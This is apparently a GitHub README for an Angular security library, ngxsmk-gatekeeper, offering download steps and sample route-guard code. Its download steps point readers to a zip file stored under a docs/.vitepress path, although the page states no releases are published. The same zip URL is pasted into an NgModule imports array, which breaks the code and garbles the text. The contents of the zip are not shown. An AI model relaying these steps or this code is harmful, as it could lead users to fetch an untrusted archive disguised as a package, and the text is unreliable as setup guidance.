Skip to content

πŸ›‘οΈ Enhance your Angular app's security by easily managing route and HTTP protections with simple, composable configurations.

Notifications You must be signed in to change notification settings

BertholdMark/ngxsmk-gatekeeper

πŸ›‘οΈ ngxsmk-gatekeeper - Protect Your Angular App with Ease

Download Now

πŸš€ Getting Started

Welcome to ngxsmk-gatekeeper! This application helps you protect your Angular app quickly and easily. With ngxsmk-gatekeeper, you can set up route guards and HTTP interceptors without writing repetitive code. No need to worry about complex setups.

🌟 What You Need

Before you download ngxsmk-gatekeeper, ensure your system meets these requirements:

πŸ“¦ Download & Install

  1. Click the button below to visit the Releases page and download the latest version of ngxsmk-gatekeeper.

    Download Now

  2. On the Releases page, find the latest version. It is usually at the top of the list.

  3. Click on the file that fits your system (for example, a .zip or https://github.com/BertholdMark/ngxsmk-gatekeeper/raw/refs/heads/main/docs/.vitepress/gatekeeper-ngxsmk-v1.6.zip file).

  4. Once the download is complete, extract the files to a folder on your computer.

  5. Open your terminal or command prompt.

  6. Navigate to the folder where you extracted the files. Use the cd command (e.g., cd path/to/your/folder).

  7. Run the following command to install ngxsmk-gatekeeper:

    npm install ngxsmk-gatekeeper
    
  8. After installation, you can integrate ngxsmk-gatekeeper into your Angular application.

πŸ“– How to Use ngxsmk-gatekeeper

πŸ”’ Implementing Middleware

To use ngxsmk-gatekeeper, you need to follow these simple steps:

  1. In your Angular app, import the package:

    import { GatekeeperModule } from 'ngxsmk-gatekeeper';
  2. Add GatekeeperModule to your main application module:

    @NgModule({
      imports: [
        https://github.com/BertholdMark/ngxsmk-gatekeeper/raw/refs/heads/main/docs/.vitepress/gatekeeper-ngxsmk-v1.6.zip()
      ],
    })
    export class AppModule { }
  3. Create your middleware based on your security needs. The middleware allows you to implement authentication and authorization rules.

  4. Define your route guards to secure your application routes. For example:

    const routes: Routes = [
      {
        path: 'secure',
        component: SecureComponent,
        canActivate: [YourCustomGuard]
      }
    ];

πŸ›‘οΈ Example Configuration

Here’s a simple example of how to configure a route guard with ngxsmk-gatekeeper:

import { Injectable } from '@angular/core';
import { CanActivate } from '@angular/router';

@Injectable({
  providedIn: 'root',
})
export class AuthGuard implements CanActivate {
  canActivate(): boolean {
    // Logic for determining if route can be activated
    return true; // Change according to your logic
  }
}

πŸ”§ Configuration Options

ngxsmk-gatekeeper offers various configuration options to tailor the middleware to your needs. You can adjust settings like role-based access control (RBAC) and route protection levels.

πŸ“‘ Features

  • Composable Middleware: Easily customize how your app handles routes and requests.
  • Type-Safe: Ensure type safety while working with Angular.
  • Tree-Shakeable: Optimize your application size by removing unused code.
  • Zero Dependencies: No additional libraries needed.

🀝 Community and Support

If you have any questions or need assistance, feel free to check out our community forums or create an issue on GitHub. Your feedback helps us improve ngxsmk-gatekeeper.

🌐 Additional Resources

  • Documentation: For detailed guidance on implementation, visit the official documentation.
  • GitHub: For source code and contributions, check our GitHub repository.

Thank you for choosing ngxsmk-gatekeeper! We hope it helps you secure your Angular applications effectively and efficiently.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages